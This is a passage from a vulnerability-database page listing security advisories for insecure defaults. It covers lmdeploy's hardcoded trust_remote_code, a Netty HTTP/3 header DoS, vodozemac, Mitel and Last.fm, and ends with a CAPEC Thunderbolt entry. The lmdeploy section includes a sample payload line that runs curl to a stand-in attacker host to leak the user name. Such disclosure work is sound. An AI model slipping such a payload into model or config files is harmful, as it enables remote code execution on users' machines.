 `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n  * `lmdeploy/pytorch/check_env/model.py` \u2192\n    `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 \u2014 architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` \u2014 `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n    \"\"\"Get a model\u0027s architecture and configuration.\"\"\"\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 \u2014 quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate \u003crepo\u003e` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 \u2014 calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n    ...\n    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 \u2014 pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` \u2014\n`trust_remote_code: bool = True` is the default value for the engine\u0027s\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" \u2014 a determined caller can pass False \u2014 but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo\u0027s `config.json` contains an `auto_map` key\npointing to a custom `configuration_\u003cname\u003e.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file\u0027s\n   top-level code** (any `print`, `os.system`, `subprocess.run`,\n   `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n  `lmdeploy serve api_server \u003csome_repo\u003e`.\n* CI pipelines that automatically pull a model from HF Hub by\n  configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n  `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py \u2014 get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy\u0027s CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n   GitHub Security Advisory at\n   `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers\u0027 historical opt-out \u2192 opt-in\n   change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** \u2014 the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate \u003crepo\u003e` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.",
  "id": "GHSA-9xq9-36w5-q796",
  "modified": "2026-06-10T13:41:20Z",
  "published": "2026-05-21T19:33:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46517"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out"
}

GHSA-C2RX-5R8W-8XR2

Vulnerability from github – Published: 2026-06-08 19:02 – Updated: 2026-06-12 19:27
VLAI
Summary
Netty has a Vulnerable Default Configuration Which Leads to Denial of Service via Unbounded HTTP/3 Header Size
Details

Summary

The default configuration of the Http3ConnectionHandler in the Netty HTTP/3 codec lacks an enforced maximum header size limit. When a peer does not explicitly specify HTTP3_SETTINGS_MAX_FIELD_SECTION_SIZE, the implementation defaults to an unbounded limit. This insecure default configuration allows a malicious client or server to send an enormous number of headers, leading to a memory exhaustion Denial of Service via an OutOfMemoryError.

Details

Netty securely limits header sizes for older protocols. In HTTP/1.1, Netty strictly enforces an 8192-byte limit out-of-the-box via HttpObjectDecoder. For HTTP/2, while RFC 9113 specifies that SETTINGS_MAX_HEADER_LIST_SIZE defaults to unlimited, Netty securely overrides this RFC default by enforcing an 8192-byte limit (Http2CodecUtil.DEFAULT_HEADER_LIST_SIZE).

However, this secure-by-default configuration is missing in the HTTP/3 implementation. While Netty provides a mechanism to configure the maximum header field section size via Http3Settings, its out-of-the-box behaviour strictly follows RFC 9114's unlimited default.

Because many developers rely on the framework's default configurations and basic constructors, their applications are unknowingly left vulnerable. This nearly infinite default limit is passed into Http3FrameCodec#newFactory and stored as maxHeaderListSize inside Http3FrameCodec.

A bad actor can continuously send HTTP/3 headers within a connection, exploiting the insecure default configuration to consume server memory unconditionally until the application crashes with an OutOfMemoryError.

Impact

Denial of Service via memory exhaustion. All applications using Netty's HTTP/3 codec with its default configuration are impacted.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T19:02:16Z",
    "nvd_published_at": "2026-06-12T05:16:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe default configuration of the `Http3ConnectionHandler` in the Netty HTTP/3 codec lacks an enforced maximum header size limit. When a peer does not explicitly specify `HTTP3_SETTINGS_MAX_FIELD_SECTION_SIZE`, the implementation defaults to an unbounded limit. This insecure default configuration allows a malicious client or server to send an enormous number of headers, leading to a memory exhaustion Denial of Service via an `OutOfMemoryError`.\n\n### Details\nNetty securely limits header sizes for older protocols. In HTTP/1.1, Netty strictly enforces an `8192`-byte limit out-of-the-box via `HttpObjectDecoder`. For HTTP/2, while RFC 9113 specifies that `SETTINGS_MAX_HEADER_LIST_SIZE` defaults to `unlimited`, Netty securely overrides this RFC default by enforcing an `8192`-byte limit (`Http2CodecUtil.DEFAULT_HEADER_LIST_SIZE`).\n\nHowever, this secure-by-default configuration is missing in the HTTP/3 implementation. While Netty provides a mechanism to configure the maximum header field section size via `Http3Settings`, its out-of-the-box behaviour strictly follows RFC 9114\u0027s unlimited default.\n\nBecause many developers rely on the framework\u0027s default configurations and basic constructors, their applications are unknowingly left vulnerable. This nearly infinite default limit is passed into `Http3FrameCodec#newFactory` and stored as `maxHeaderListSize` inside `Http3FrameCodec`.\n\nA bad actor can continuously send HTTP/3 headers within a connection, exploiting the insecure default configuration to consume server memory unconditionally until the application crashes with an `OutOfMemoryError`.\n\n### Impact\nDenial of Service via memory exhaustion. All applications using Netty\u0027s HTTP/3 codec with its default configuration are impacted.",
  "id": "GHSA-c2rx-5r8w-8xr2",
  "modified": "2026-06-12T19:27:28Z",
  "published": "2026-06-08T19:02:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-c2rx-5r8w-8xr2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44892"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has a Vulnerable Default Configuration Which Leads to Denial of Service via Unbounded HTTP/3 Header Size"
}

GHSA-C3HM-HXWF-G5C6

Vulnerability from github – Published: 2024-05-03 19:34 – Updated: 2024-05-20 15:34
VLAI
Summary
vodozemac has degraded secret zeroization capabilities
Details

Versions 0.5.0 and 0.5.1 of vodozemac have degraded secret zeroization capabilities, due to changes in third-party cryptographic dependencies (the Dalek crates), which moved secret zeroization capabilities behind a feature flag while vodozemac disabled the default feature set.

Impact

The degraded zeroization capabilities could result in the production of more memory copies of encryption secrets and secrets could linger in memory longer than necessary. This marginally increases the risk of sensitive data exposure.

Overall, we consider the impact of this issue to be low. Although cryptographic best practices recommend the clearing of sensitive information from memory once it's no longer needed, the inherent limitations of Rust regarding absolute zeroization reduce the practical severity of this lapse.

Patches

The patch is in commit https://github.com/matrix-org/vodozemac/pull/130/commits/297548cad4016ce448c4b5007c54db7ee39489d9.

Workarounds

None.

For more information

If you have any questions or comments about this advisory please email us at security at matrix.org.

Severity
2.5 (Low)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "vodozemac"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-03T19:34:07Z",
    "nvd_published_at": "2024-05-03T10:15:08Z",
    "severity": "LOW"
  },
  "details": "Versions 0.5.0 and 0.5.1 of vodozemac have degraded secret zeroization capabilities, due to changes in third-party cryptographic dependencies (the Dalek crates), which moved secret zeroization capabilities behind a feature flag while vodozemac disabled the default feature set.\n\n### Impact\nThe degraded zeroization capabilities could result in the production of more memory copies of encryption secrets and secrets could linger in memory longer than necessary. This marginally increases the risk of sensitive data exposure.\n\nOverall, we consider the impact of this issue to be low. Although cryptographic best practices recommend the clearing of sensitive information from memory once it\u0027s no longer needed, the inherent limitations of Rust regarding absolute zeroization reduce the practical severity of this lapse.\n\n### Patches\nThe patch is in commit https://github.com/matrix-org/vodozemac/pull/130/commits/297548cad4016ce448c4b5007c54db7ee39489d9.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory please email us at [security at matrix.org](mailto:security@matrix.org).",
  "id": "GHSA-c3hm-hxwf-g5c6",
  "modified": "2024-05-20T15:34:44Z",
  "published": "2024-05-03T19:34:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/vodozemac/security/advisories/GHSA-c3hm-hxwf-g5c6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34063"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/vodozemac/commit/297548cad4016ce448c4b5007c54db7ee39489d9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/matrix-org/vodozemac"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0342.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vodozemac has degraded secret zeroization capabilities"
}

GHSA-C4QC-955V-V62V

Vulnerability from github – Published: 2024-03-27 09:30 – Updated: 2024-08-01 15:31
VLAI
Details

A vulnerability in the BluStar component of Mitel InAttend 2.6 SP4 through 2.7 and CMG 8.5 SP4 through 8.6 could allow access to sensitive information, changes to the system configuration, or execution of arbitrary commands within the context of the system.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-28815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-27T07:15:49Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the BluStar component of Mitel InAttend 2.6 SP4 through 2.7 and CMG 8.5 SP4 through 8.6 could allow access to sensitive information, changes to the system configuration, or execution of arbitrary commands within the context of the system.",
  "id": "GHSA-c4qc-955v-v62v",
  "modified": "2024-08-01T15:31:34Z",
  "published": "2024-03-27T09:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28815"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/1188.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/-/media/mitel/file/pdf/support/security-advisories/security-bulletin_24-0003-001-v1.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/support/security-advisories"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-24-0003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C686-G9FF-6F7M

Vulnerability from github – Published: 2022-05-24 17:03 – Updated: 2024-04-04 02:42
VLAI
Details

The Last.fm desktop app (Last.fm Scrobbler) through 2.1.39 on macOS makes HTTP requests that include an API key without the use of SSL/TLS. Although there is an Enable SSL option, it is disabled by default, and cleartext requests are made as soon as the app starts.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-19251"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-10T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Last.fm desktop app (Last.fm Scrobbler) through 2.1.39 on macOS makes HTTP requests that include an API key without the use of SSL/TLS. Although there is an Enable SSL option, it is disabled by default, and cleartext requests are made as soon as the app starts.",
  "id": "GHSA-c686-g9ff-6f7m",
  "modified": "2024-04-04T02:42:40Z",
  "published": "2022-05-24T17:03:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19251"
    },
    {
      "type": "WEB",
      "url": "https://getsatisfaction.com/lastfm/topics/why-doesnt-the-macos-client-enable-ssl-by-default-c1nh5k1s054ak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list